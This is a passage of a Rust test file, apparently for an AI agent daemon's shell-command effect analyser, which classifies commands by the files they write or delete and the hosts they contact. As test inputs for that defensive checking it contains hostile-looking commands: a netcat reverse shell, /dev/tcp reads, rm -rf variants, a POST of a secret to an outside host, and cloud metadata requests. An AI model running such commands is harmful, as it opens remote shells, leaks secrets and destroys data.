5818                Exact(vec![egress("b.example.invalid:22")]),
5819            ),
5820            ("nc -l 8080", Incomplete),
5821            ("nc -e /bin/sh h.example.invalid 80", Incomplete),
5822            (
5823                "nc -x p.example.invalid:1080 h.example.invalid 80",
5824                Incomplete,
5825            ),
5826            ("python3 -m http.server", Incomplete),
5827            // Probe list: cp, mv, tee.
5828            (
5829                "cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
5830                Exact(vec![write("/tmp/aidaemon-test/dst")]),
5831            ),
5832            (
5833                "mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
5834                Exact(vec![
5835                    write("/tmp/aidaemon-test/c"),
5836                    delete("/tmp/aidaemon-test/a"),
5837                    delete("/tmp/aidaemon-test/b"),
5838                ]),
5839            ),
5840            (
5841                "tee -a /tmp/aidaemon-test/f",
5842                Exact(vec![write("/tmp/aidaemon-test/f")]),
5843            ),
5844            // Probe list: redirects.
5845            ("echo x >&2", Exact(vec![])),
5846            (
5847                "echo x >| /tmp/aidaemon-test/f",
5848                Exact(vec![write("/tmp/aidaemon-test/f")]),
5849            ),
5850            (
5851                "echo x &> /tmp/aidaemon-test/f",
5852                Exact(vec![write("/tmp/aidaemon-test/f")]),
5853            ),
5854            (
5855                "echo x 2> /tmp/aidaemon-test/f",
5856                Exact(vec![write("/tmp/aidaemon-test/f")]),
5857            ),
5858            (
5859                "echo x >& /tmp/aidaemon-test/f",
5860                Exact(vec![write("/tmp/aidaemon-test/f")]),
5861            ),
5862            ("echo x > 'out file'", Incomplete),
5863            ("exec 3> /tmp/aidaemon-test/f", Incomplete),
5864            ("cat <> /tmp/aidaemon-test/f", Incomplete),
5865            ("cat <<EOF\nx\nEOF", Incomplete),
5866            ("echo $'x'", Incomplete),
5867            ("cat < /dev/tcp/h.example.invalid/80", Incomplete),
5868            // Probe list: wrappers and groupings.
5869            ("xargs rm", Incomplete),
5870            ("find . -exec rm {} \\;", Incomplete),
5871            ("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
5872            ("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
5873            ("command rm /tmp/aidaemon-test/x", Incomplete),
5874            ("nohup rm /tmp/aidaemon-test/x", Incomplete),
5875            ("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
5876            ("sudo rm /tmp/aidaemon-test/x", Incomplete),
5877            ("time rm /tmp/aidaemon-test/x", Incomplete),
5878            ("{ rm /tmp/aidaemon-test/x; }", Incomplete),
5879            ("( rm /tmp/aidaemon-test/x )", Incomplete),
5880            ("X=1 rm /tmp/aidaemon-test/x", Incomplete),
5881            // Probe list: deletes.
5882            ("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
5883            (
5884                "git ls-remote git@git.example.invalid:acme/repo.git",
5885                Incomplete,
5886            ),
5887            (
5888                "unlink /tmp/aidaemon-test/x",
5889                Exact(vec![delete("/tmp/aidaemon-test/x")]),
5890            ),
5891            ("rm /tmp/aidaemon-test/*.o", Incomplete),
5892            ("rm ~other/x", Incomplete),
5893            ("rm /tmp/aidaemon-test/a\\ b", Incomplete),
5894            ("shred /tmp/aidaemon-test/x", Incomplete),
5895            ("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
5896            ("dd of=/tmp/aidaemon-test/x", Incomplete),
5897            ("install a /tmp/aidaemon-test/b", Incomplete),
5898            ("ln -s a /tmp/aidaemon-test/b", Incomplete),
5899            ("chmod 600 /tmp/aidaemon-test/x", Incomplete),
5900            // Probe list: chains collect every segment.
5901            (
5902                "curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
5903                Exact(vec![
5904                    egress("a.example.invalid:443"),
5905                    write("/tmp/aidaemon-test/f"),
5906                ]),
5907            ),
5908            ("bash x && curl https://a.example.invalid/", Incomplete),
5909            // Unquoted expansion anywhere in a segment.
5910            ("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
5911            ("echo * > /tmp/aidaemon-test/f", Incomplete),
5912            (
5913                "curl -H \"X: $TOKEN\" https://a.example.invalid/",
5914                Incomplete,
5915            ),
5916            // Text the shell never executes yields no keys: heredoc bodies,
5917            // comments, and newlines inside quoted strings.
5918            (
5919                "cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
5920                Exact(vec![]),
5921            ),
5922            (
5923                "cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
5924                Exact(vec![write("/tmp/aidaemon-test/f")]),
5925            ),
5926            (
5927                "cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
5928                Exact(vec![egress("b.example.invalid:443")]),
5929            ),
5930            ("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
5931            (
5932                "echo x #\ncurl https://b.example.invalid/",
5933                Exact(vec![egress("b.example.invalid:443")]),
5934            ),
5935            (
5936                "echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
5937                Exact(vec![]),
5938            ),
5939            (
5940                "echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
5941                Exact(vec![]),
5942            ),
5943            // N1: `>&WORD` is a file unless WORD is a descriptor.
5944            (
5945                "echo hi >&1file",
5946                Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
5947            ),
5948            ("echo hi >&2", Exact(vec![])),
5949            ("echo hi 2>&-", Exact(vec![])),
5950            ("echo hi >&2-", Exact(vec![])),
5951            // N2: `find -follow -delete` reaches through symlinks.
5952            (
5953                "find /tmp/aidaemon-test/w/x -follow -delete",
5954                Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
5955            ),
5956            // N3: `-w @file` reads a format that may write anywhere.
5957            (
5958                "curl -w @fmt https://a.example.invalid/",
5959                Exact(vec![egress("a.example.invalid:443")]),
5960            ),
5961            (
5962                "curl --write-out @fmt https://a.example.invalid/",
5963                Exact(vec![egress("a.example.invalid:443")]),
5964            ),
5965            // N4: a scheme with no known default port gives no key.
5966            (
5967                "curl dict://h.example.invalid/d:x",
5968                Within(vec![egress("h.example.invalid:2628")]),
5969            ),
5970            ("curl ldap://h.example.invalid/", Within(vec![])),
5971            ("curl telnet://h.example.invalid/", Within(vec![])),
5972            (
5973                "curl gopher://h.example.invalid:70/",
5974                Exact(vec![egress("h.example.invalid:70")]),
5975            ),
5976            // N5: `~` attached with `=` or to a short option is literal.
5977            (
5978                "wget --output-document=~/x https://a.example.invalid/",
5979                Within(vec![
5980                    write("/tmp/aidaemon-test/w/~/x"),
5981                    egress("a.example.invalid:443"),
5982                ]),
5983            ),
5984            (
5985                "curl -o~/x https://a.example.invalid/",
5986                Within(vec![
5987                    write("/tmp/aidaemon-test/w/~/x"),
5988                    egress("a.example.invalid:443"),
5989                ]),
5990            ),
5991        ];
5992        let mut wrong = Vec::new();
5993        for (command, expect) in cases {
5994            let effects = shell_call_effects(command, Some(w));
5995            let ok = !effects.complete
5996                && match expect {
5997                    Incomplete => true,
5998                    Exact(mut expected) => {
5999                        let mut keys = effects.keys.clone();
6000                        let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
6001                        keys.sort_by_key(order);
6002                        expected.sort_by_key(order);
6003                        keys == expected
6004                    }
6005                    Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
6006                };
6007            // An expanded word never becomes a key.
6008            let clean = effects
6009                .keys
6010                .iter()
6011                .all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
6012            if !ok || !clean {
6013                wrong.push(format!("{command:?} => {effects:?}"));
6014            }
6015        }
6016        assert!(
6017            wrong.is_empty(),
6018            "{} wrong:\n{}",
6019            wrong.len(),
6020            wrong.join("\n")
6021        );
6022        // The partial keys of an incomplete call are still declared.
6023        let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
6024        assert!(partial.keys.contains(&egress("a.example.invalid:443")));
6025    }
6026
6027    /// C6: shell operands resolve physically, the way the OS does.
6028    #[cfg(unix)]
6029    #[test]
6030    fn shell_paths_resolve_through_symlinks_physically() {
6031        let dir = tempfile::tempdir().unwrap();
6032        let w = dunce::canonicalize(dir.path()).unwrap();
6033        let w = w.to_str().unwrap();
6034        std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
6035        std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
6036        std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
6037        let key = |class, path: String| EffectKey {
6038            class,
6039            target: path,
6040        };
6041        // `rm -rf link/` deletes the target directory's contents.
6042        let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
6043        assert!(!trailing.complete);
6044        assert!(
6045            trailing
6046                .keys
6047                .contains(&key(EffectClass::Delete, format!("{w}/a/real")))
6048        );
6049        assert!(
6050            trailing
6051                .keys
6052                .contains(&key(EffectClass::Delete, format!("{w}/link")))
6053        );
6054        // `link/..` is the link target's parent, not `w`.
6055        let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
6056        assert!(!climbed.complete);
6057        assert!(
6058            climbed
6059                .keys
6060                .contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
6061        );
6062        let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
6063        assert!(!redirected.complete);
6064        assert_eq!(
6065            redirected.keys,
6066            vec![key(EffectClass::Write, format!("{w}/a/f"))]
6067        );
6068        // A prefix that exists but cannot be canonicalized gives no key.
6069        assert!(
6070            shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
6071                .keys
6072                .is_empty()
6073        );
6074    }
6075
6076    /// A fetch is proven only when the exit status vouches for it: curl or
6077    /// wget alone, or joined by `&&`, one strict URL each, kept as written.
6078    #[test]
6079    fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
6080        let url = "https://synthetic-tunnel.example/";
6081        let other = "http://127.0.0.1:8080/wp-login.php";
6082        assert_eq!(
6083            proven_fetch_urls(&format!("curl -sSfL {url}")),
6084            Some(vec![url.to_string()])
6085        );
6086        assert_eq!(
6087            proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
6088            Some(vec![url.to_string()])
6089        );
6090        assert_eq!(
6091            proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
6092            Some(vec![other.to_string()])
6093        );
6094        assert_eq!(
6095            proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
6096            Some(vec![url.to_string(), other.to_string()])
6097        );
6098        assert_eq!(
6099            proven_fetch_urls(&format!("curl --url {url}")),
6100            Some(vec![url.to_string()])
6101        );
6102
6103        // A later step, or the shell itself, can mask a failed fetch.
6104        for masked in [
6105            format!("curl -s {url}; true"),
6106            format!("curl -s {url} || echo down"),
6107            format!("curl -s {url} | head -5"),
6108            format!("curl -s {url} |& tee /tmp/out"),
6109            format!("curl -s {url} & wait"),
6110            format!("(curl -s {url})"),
6111            format!("curl -s {url}\necho done"),
6112            format!("curl -s {url} && echo ok"),
6113            format!("echo start && curl -s {url}"),
6114            "curl -s $(cat /tmp/url)".to_string(),
6115            "curl -s \"$URL\"".to_string(),
6116            format!("URL={url} curl -s {url}"),
6117            format!("sudo curl -s {url}"),
6118            format!("curl -s {url} {other}"),
6119            format!("curl -K /tmp/curlrc {url}"),
6120            format!("/tmp/bin/curl -s {url}"),
6121            "curl -s synthetic-tunnel.example".to_string(),
6122            "curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
6123            "curl -s".to_string(),
6124            String::new(),
6125        ] {
6126            assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
6127        }
6128    }
6129
6130    /// Windows PowerShell, the shell there: reading cmdlets are
6131    /// observations, a backslash never hides a second command, code-bearing
6132    /// arguments and PowerShell's `curl` are unknown.
6133    #[cfg(windows)]
6134    mod powershell {
6135        use super::super::*;
6136
6137        #[test]
6138        fn reading_cmdlets_are_observations() {
6139            for line in [
6140                r"Get-Content C:\Users\alice\notes.txt",
6141                "Start-Sleep -Seconds 1; Write-Output done",
6142                r"gci C:\Users\alice | Select-String TODO",
6143                r"Test-Path C:\Users\alice\notes.txt",
6144            ] {
6145                assert!(command_effects(line).observation_only, "{line}");
6146            }
6147        }
6148
6149        #[test]
6150        fn a_backslash_does_not_hide_a_delete() {
6151            let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
6152            assert!(!effects.observation_only);
6153            assert!(effects.deletes);
6154        }
6155
6156        #[test]
6157        fn code_bearing_arguments_are_unknown() {
6158            for line in [
6159                "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
6160                "Write-Output $(Remove-Item x)",
6161                "Get-Content @args",
6162                "Select-Object @{n='x';e={Remove-Item y}}",
6163            ] {
6164                let effects = command_effects(line);
6165                assert!(!effects.observation_only, "{line}");
6166                assert!(!effects.local_work_only, "{line}");
6167            }
6168        }
6169
6170        #[test]
6171        fn powershell_curl_is_not_read_as_curl() {
6172            let line = "curl -Method Post -Body secret https://example.invalid/x";
6173            assert!(!only_reads(line));
6174            assert!(fetches_network(line));
6175        }
6176
6177        #[test]
6178        fn curl_exe_is_curl() {
6179            let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
6180            assert!(
6181                effects
6182                    .keys
6183                    .iter()
6184                    .any(|key| key.class == EffectClass::Egress),
6185                "{:?}",
6186                effects.keys
6187            );
6188            assert!(only_reads("curl.exe -s https://example.invalid/x"));
6189        }
6190
6191        #[test]
6192        fn remove_item_targets_are_read() {
6193            let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
6194            assert!(effects.deletes);
6195            assert_eq!(
6196                effects.delete_targets,
6197                Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
6198            );
6199            assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
6200        }
6201
6202        #[test]
6203        fn web_cmdlets_name_where_they_go() {
6204            for line in [
6205                "curl http://169.254.169.254/latest/meta-data/",
6206                "Invoke-WebRequest -Uri http://169.254.169.254/latest/",
6207            ] {
6208                let effects = shell_call_effects(line, None);
6209                assert!(!effects.understood, "{line}");
6210                assert!(
6211                    effects
6212                        .keys
6213                        .iter()
6214                        .any(|key| key.class == EffectClass::Egress
6215                            && key.target.starts_with("169.254.169.254")),
6216                    "{line}: {:?}",
6217                    effects.keys
6218                );
6219            }
6220        }
6221
6222        #[test]
6223        fn remove_item_declares_its_delete() {
6224            let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
6225            assert!(
6226                effects
6227                    .keys
6228                    .iter()
6229                    .any(|key| key.class == EffectClass::Delete),
6230                "{:?}",
6231                effects.keys
6232            );
6233        }
6234    }
6235}